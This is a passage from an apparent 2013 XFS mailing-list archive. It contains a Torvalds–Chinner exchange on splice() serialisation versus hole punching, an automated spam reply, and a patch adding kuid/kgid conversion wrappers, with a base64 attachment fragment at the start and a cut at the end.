mLbp7xC4bYQy3wsbreJP56Ey/0bLFK0e+sV80W8+BmwXF6+mlXdJl75od5tHDlsTa3/pj3629bRM s2uRk5osLpH1V0ODYN7ngbm6wnUujBFfg1dCblkGZ5cbJOG9xG1jEWQa4q78lk+25PyrzvkgI/qz NmbOYh8DnvPvd8PO550hbw7fPuZjK6qU79mZMtf/x79Bm+/fHvFZJc/ex2PvUeLxNH5+p58znc0/ 7LIdZJD+Tq9CH89Ka75vB2dWxrr228DhvPn5tje/7oO19m/fWz7PttnHfHz+O74N54nB7/nzTisq UTrkJTFYnPW2A03cil3B+JXWnS9yLrZnqRdsthJaN0cTaVxq+bYZ257vdal+VsZjMl8LNYYLMqsi 9YmFfXizob2y/pIsHeyUTMxmQ/XVxH6gd7XgFtvWdxIXbh/j9/3vHyysT1InP8HB37b3lqnMrfrN udbEIcY6wsLwaK/wbQ67Rk+ZhXIOGYJ7v/wuWRU5nS+vleDuNfkVM9i5jkYPLM2fYttqIWUuDtb8 q7RiORZWHnrXgw+L2OKrzqlbfu+PRUO2g5lZ4iznO+v9fa+BZsVoaGHYUPVlqCw41b1c1BzvGg/4 xV6hbRLSb6yQWte8190t18oCUkk26y2llWHKYzN5hpY7OwdKz9XFLclo4LXeLRX+W0+oV+hpZH1U 7mzYhJAuX59XVK+5neks8njrys0WNn715ziXqPf3s/R1GQ089ak3j+rS8jYZLmd2Tn5bgY7m/My5 PGx0lP/3+blat32L49t3C1jvsq/r95o7rdVhngvz78jtdPb9pOwOk3PlesRYV3rWlDGvc54Nvg/v j7zrv30kf9/B5fijWfuze0fuhy5KVsPz8XhNGi+OJsVx4FswO+4TrG5S/rH9W3dLeX0GZtdx+edy toWOpgvz7FhvSSa0qbI6td9f7xZLhfZ9vlNBbkl05mQgFjPSFE6cPJ7d1sWUw8XmcxdsZMTXmTRO ynf6w+KTOGA7GU9R+x/pH15rQLF45C1cG2O6lz/Fg4mNYYiL1vK+3U/RmMD9fktc81tb/DYC3yu/ yrvEJEzjwMfnmPqQevgfwTKjpPc3G7SUkWJisGT8S1mlqR0mocp7D8fgTMdkc5QZb77Xj+jZ5bNP aPRz+y0M3oL//TNPXCwajb7X8XLq/d2dxcM59y1o7bbub4M1hYqR3KX4fl/bt3vW2y+eSXzOb2zv j3RvxeYX5bbcp0SX9B0fe8sJzpt82Gft/0Q+n+HhrUll5ha5rJzO+6KrxjElfuetvzL+fKcdfPMF 92GdivJpNfkbzx+GD6u1r5jf71favw3X1qn8clbtLKtS2v8O842tjOnz+DN/R4dK06awft+9xzK3 v3bKUXcuqpKfzdd7dsn2lf+UHe583tOK27S1/ZA57ddJzSznzfCv9Wb6XbX+LaOfvbfYYeTcYe1+ Td7N+6WYkcA77/Of3a/p+eH61H9Nn+N8yH1SuT3PzY9dd90hsvxa/DZmvMOF7L9boPzbPHpt741z hMW11eT5svdZCjjntU5/L0mz67cu3TmSALr0LU+5He43UPyamDN+9m8ZZnFt+yUz0XO3O2tenwvb /HfarpWWcyWGwy7euVKTnyP0Hhvyt887X2QgvFx8ZcG2ZY+zZLNfI+4Lv00O42ar5+1O8FidGSg/ aIdORFefSTN3mtXePjf9H3dxin/x5ftZ+7TuqQ5Kg2eRvF4/bXzO9ZdpeOhsL+3aPX3/8UzBgLTl N/Ovuc3fmXZ6jvtHp97gP2zy1uNLh/K7eP30b5ARl/l3aX5bHQz+Qk5Wby70yaGh01va+L+O2drD opvm/dxf50Nm6WV6Nl43M0Gia/0wEn+0Ulkt/a9lidHxrg9UP8fnrrD3MDLUPJX8nqU2HmnLIOW6 yNBjtT1dw8L3Zw2179jc/et7nvPV+h/Ds89ywwN/H+8zT3L3QK18d1b5MvpNmPtZx+Q5ZjbTtE+1 fzVn6K9t6zvXFgyX75HEK8fH/ltl7NNfSluRreUiyX6uq27PjVcqHureubldv+SI3P0xs5ntFO2C /Of6OUZqmZXtna+iR0G8we1ofmfbmxXDK894ipq+5H5o937rDgM1Ctlva2q5tje5Z/CrlmhM3oeR lrr5cfrkunzPv/q06f603CnORB/vhsZMeD6kGL37VuIlelOWBlztx0FHsfMlZsrgHCxsXxee5JpL n5NUbNNwOJP2X6tVDI/xvO222+6dRf9QIbSCu9V8qsK01Z5Vwaq+nPk9DagqmnfavbtX0j8noYEP s9Je1cDq+imno5JuJyrUAq6h4no2yx/mUd06ioT80eqg/nxDB3ZLJjPL4OnSYemPJRsfhHppp/nF pSReEv0fFRuEwHp12utttKWlCSk6cuKiI6mBF0pYqLkml8e1tZeYi2X6OwtPJIJBg1hJK2RFLUZJ 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 ------=_NextPart_000_072D_01CE82B9.90815A00-- From linus971@gmail.com Tue Jul 16 23:54:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 00C027F3F for ; Tue, 16 Jul 2013 23:54:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B7A078F8039 for ; Tue, 16 Jul 2013 21:54:11 -0700 (PDT) X-ASG-Debug-ID: 1374036849-04bdf0245e9fe10001-NocioJ Received: from mail-ve0-f176.google.com (mail-ve0-f176.google.com [209.85.128.176]) by cuda.sgi.com with ESMTP id A5oau7716Q98EYOg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 16 Jul 2013 21:54:10 -0700 (PDT) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] Received: by mail-ve0-f176.google.com with SMTP id c13so1135280vea.7 for ; Tue, 16 Jul 2013 21:54:09 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=61/yd/4g6y+TSI01VSElrYEBvrckwVETpOhg+f6VIsw=; b=AoS2GgHMT80S7B4P5rXBZD6+GpTA/fIirffMbB2NUa4dinKGx+fqo/H+bAmXzOugY8 0YforfcETaKM62TNuQwXm6+d5LS5XR1n/Qtsq+uyc7RUpotWAr7ISc73BAIQxcUh3Nn3 aqKn2WuxsxztSMHh3ULljC66bu1laxdDp0tvWDufvSCHQlAEenosMSc1JKd+J6GH+1rc x39VlPlL/gcUYh4v8sHFXr4bAZThmkLYb0DSKz41FLLmds7ePx8vRPSMDUs/bwXMS35H 7LlyCUQkg0WindKoZqvzwHHGu/kMNITCFe1EKEGYvoHyEvt0pxYzgEMLJndyw/g5pl+s 1DWQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=61/yd/4g6y+TSI01VSElrYEBvrckwVETpOhg+f6VIsw=; b=ZPBeJI7TU8/3p/K7VhWXuWz+MDx1wU97T2prmuJ1u/09unFQoGXqZ2+ylcx45nX1qB fOwbenf+E0elKFGGtCLu0f4PybLNWiITZHhoFyylnbtvRjMr9NiSU2yvKW+XLUyeovwt 1ULbidq/OM76wkivkdWYvvi8MYx3FZ64bINJY= MIME-Version: 1.0 X-Received: by 10.58.19.162 with SMTP id g2mr1523022vee.12.1374036849509; Tue, 16 Jul 2013 21:54:09 -0700 (PDT) Sender: linus971@gmail.com Received: by 10.220.237.15 with HTTP; Tue, 16 Jul 2013 21:54:09 -0700 (PDT) In-Reply-To: <20130717040616.GI11674@dastard> References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> Date: Tue, 16 Jul 2013 21:54:09 -0700 X-Google-Sender-Auth: t3GI8daNOQqHK_Dq80lmOy-IHLA Message-ID: Subject: Re: splice vs execve lockdep trace. From: Linus Torvalds X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. To: Dave Chinner Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f176.google.com[209.85.128.176] X-Barracuda-Start-Time: 1374036850 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136993 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Jul 16, 2013 at 9:06 PM, Dave Chinner wrote: > > Right, and that's one of the biggest problems page based IO has - we > can't serialise it against other IO and other page cache > manipulation functions like hole punching. What happens when a > splice read or mmap page fault races with a hole punch? You get > stale data being left in the page cache because we can't serialise > the page read with the page cache invalidation and underlying extent > removal. But Dave, that's *good*. You call it "stale data". I call it "the data was valid at some point". This is what "splice()" is fundamentally all about. Think of it this way: even if you are 100% serialized during the "splice()" operation, what do you think happens afterwards? Seriously, think it through. That data is in a kernel buffer - the pipe. The fact that it was serialized at the time of the original splice() doesn't make _one_ whit of a difference, because after the splice is over, the data still sits around in that pipe buffer, and you're no longer serializing it. Somebody else truncating the file or punching a hole in the file DOES NOT MATTER. It's too late. In other words, trying to "protect" against that kind of race is stupid. You're missing the big picture because you're concentrating on the details. Look beyond what happens inside XFS, and think about the higher-level meaning of splice() itself. So the only guarantee splice *should* give is entirely per-page. If you think it gives any other serialization, you're fundamentally wrong, because it *cannot*. See? Linus From david@fromorbit.com Wed Jul 17 00:51:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 82EE57F3F for ; Wed, 17 Jul 2013 00:51:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 635568F8039 for ; Tue, 16 Jul 2013 22:51:09 -0700 (PDT) X-ASG-Debug-ID: 1374040267-04cbb04691109a220001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Pumbu1El4qB5VmZB for ; Tue, 16 Jul 2013 22:51:07 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicNAHYv5lF5LK4r/2dsb2JhbABagwaDILpghTAEAYEMF3SCIwEBBAE6HCMFCwgDGAklDwUlAyETiAoFtXAWjigTgR0Hg3oDl1uRToMkKoEt Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Jul 2013 15:21:06 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UzKdj-0006KF-Fp; Wed, 17 Jul 2013 15:51:03 +1000 Date: Wed, 17 Jul 2013 15:51:03 +1000 From: Dave Chinner To: Linus Torvalds Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130717055103.GK11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374040267 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136997 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 16, 2013 at 09:54:09PM -0700, Linus Torvalds wrote: > On Tue, Jul 16, 2013 at 9:06 PM, Dave Chinner wrote: > > > > Right, and that's one of the biggest problems page based IO has - we > > can't serialise it against other IO and other page cache > > manipulation functions like hole punching. What happens when a > > splice read or mmap page fault races with a hole punch? You get > > stale data being left in the page cache because we can't serialise > > the page read with the page cache invalidation and underlying extent > > removal. > > But Dave, that's *good*. > > You call it "stale data". > > I call it "the data was valid at some point". Yes, that's true. But When i say "stale data" I mean that the data being returned might not have originally belonged to the underlying file you are reading. > This is what "splice()" is fundamentally all about. > > Think of it this way: even if you are 100% serialized during the > "splice()" operation, what do you think happens afterwards? Same as for read(2) - I don't care. Indeed, the locking is not to protect what splice does "afterwards". It's for IO serialisation, not page cache serialisation. For example, splice read races with hole punch - after the page is invalidated, but before the blocks are punched out. So we get a new page, a mapping from the inode, get_blocks() returns valid disk mapping, we start an IO. it gets blocked in the elevator. Maybe it's been throttled because the process has used it's blkio quota. Whatever - the IO gets stuck on the dispatch queue. Meanwhile, the holepunch runs the transaction to free the disk blocks, and then something else reallocates those blocks - maybe even the filesystem for new metadata. That then gets dispatched to disk. We now have two IOs pending for the same disk blocks.... What that means is that what the splice read returns is undefined. It *might* be the original data that belonged to the file, in which case we are good to go, but if the write wins the IO race then the splice read could return someone else's data or even filesystem metadata - that's what "stale data" means. Any way you look at it, that's a bad thing.... > Seriously, think it through. I have ;) > That data is in a kernel buffer - the pipe. The fact that it was > serialized at the time of the original splice() doesn't make _one_ > whit of a difference, because after the splice is over, the data still > sits around in that pipe buffer, and you're no longer serializing it. > Somebody else truncating the file or punching a hole in the file DOES > NOT MATTER. It's too late. Yes, I agree that once we have a page with valid data in it, we don't need serialisation for splice. Again, I'll stress that he serialisation is not for splice page cache manipulations but for the IO that splice may issue to initialise the pages it them manipulates.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From es21@fastfastnews.com Wed Jul 17 01:27:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=TVD_SPACE_RATIO autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E2EEC7F3F for ; Wed, 17 Jul 2013 01:27:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B1C8C8F8049 for ; Tue, 16 Jul 2013 23:27:51 -0700 (PDT) X-ASG-Debug-ID: 1374042466-04bdf0245ea53b0001-w1Z2WR Received: from srv1.fastfastnews.com (srv1.fastfastnews.com [85.17.188.69]) by cuda.sgi.com with ESMTP id m8TI1lQYc0SQFriH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 16 Jul 2013 23:27:47 -0700 (PDT) X-Barracuda-Envelope-From: es21@fastfastnews.com X-Barracuda-Apparent-Source-IP: 85.17.188.69 Received: by srv1.fastfastnews.com (Postfix, from userid 502) id 7629460DD5; Wed, 17 Jul 2013 07:26:16 +0200 (CEST) Date: Wed, 17 Jul 2013 07:26:16 +0200 To: linux-xfs@oss.sgi.com From: Info Subject: Re: Message-ID: X-ASG-Orig-Subj: Re: X-Priority: 3 X-Mailer: PHPMailer [version 1.72] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="UTF-8" X-Barracuda-Connect: srv1.fastfastnews.com[85.17.188.69] X-Barracuda-Start-Time: 1374042466 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136999 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Mensage automatico From dwight.engen@oracle.com Wed Jul 17 10:47:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3BC337F3F for ; Wed, 17 Jul 2013 10:47:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29E8E304084 for ; Wed, 17 Jul 2013 08:47:23 -0700 (PDT) X-ASG-Debug-ID: 1374076041-04cbb0469110cb6e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 7jPEBvei60eNRHik (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:21 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlIgx025093 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Jul 2013 15:47:19 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlHHL000066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 15:47:18 GMT Received: from abhmt102.oracle.com (abhmt102.oracle.com [141.146.116.54]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlHEA000838 for ; Wed, 17 Jul 2013 15:47:17 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 17 Jul 2013 08:47:16 -0700 Date: Wed, 17 Jul 2013 11:47:14 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v4 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130717114714.256c828d@oracle.com> X-ASG-Orig-Subj: [PATCH v4 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374076041 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- fs/xfs/xfs_linux.h | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 800f896..761e4c0 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -159,6 +159,32 @@ #define MAX(a,b) (max(a,b)) #define howmany(x, y) (((x)+((y)-1))/(y)) +/* Kernel uid/gid conversion. These are used to convert to/from the on disk + * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. + * The conversion here is type only, the value will remain the same since we + * are converting to the init_user_ns. The uid is later mapped to a particular + * user namespace value when crossing the kernel/user boundary. + */ +static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) +{ + return from_kuid(&init_user_ns, uid); +} + +static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) +{ + return make_kuid(&init_user_ns, uid); +} + +static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) +{ + return from_kgid(&init_user_ns, gid); +} + +static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) +{ + return make_kgid(&init_user_ns, gid); +} + /* * Various platform dependent calls that don't fit anywhere else */ -- 1.8.1.4 From dwight.engen@oracle.com Wed Jul 17 10:47:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AFCBF29E06 for ; Wed, 17 Jul 2013 10:47:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8113730408B for ; Wed, 17 Jul 2013 08:47:27 -0700 (PDT) X-ASG-Debug-ID: 1374076046-04bdf0245dd3c90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id wgrS7HehmHtBdMyg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 17 Jul 2013 08:47:26 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6HFlINc025092 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 17 Jul 2013 15:47:18 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6HFlAU5027885 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA 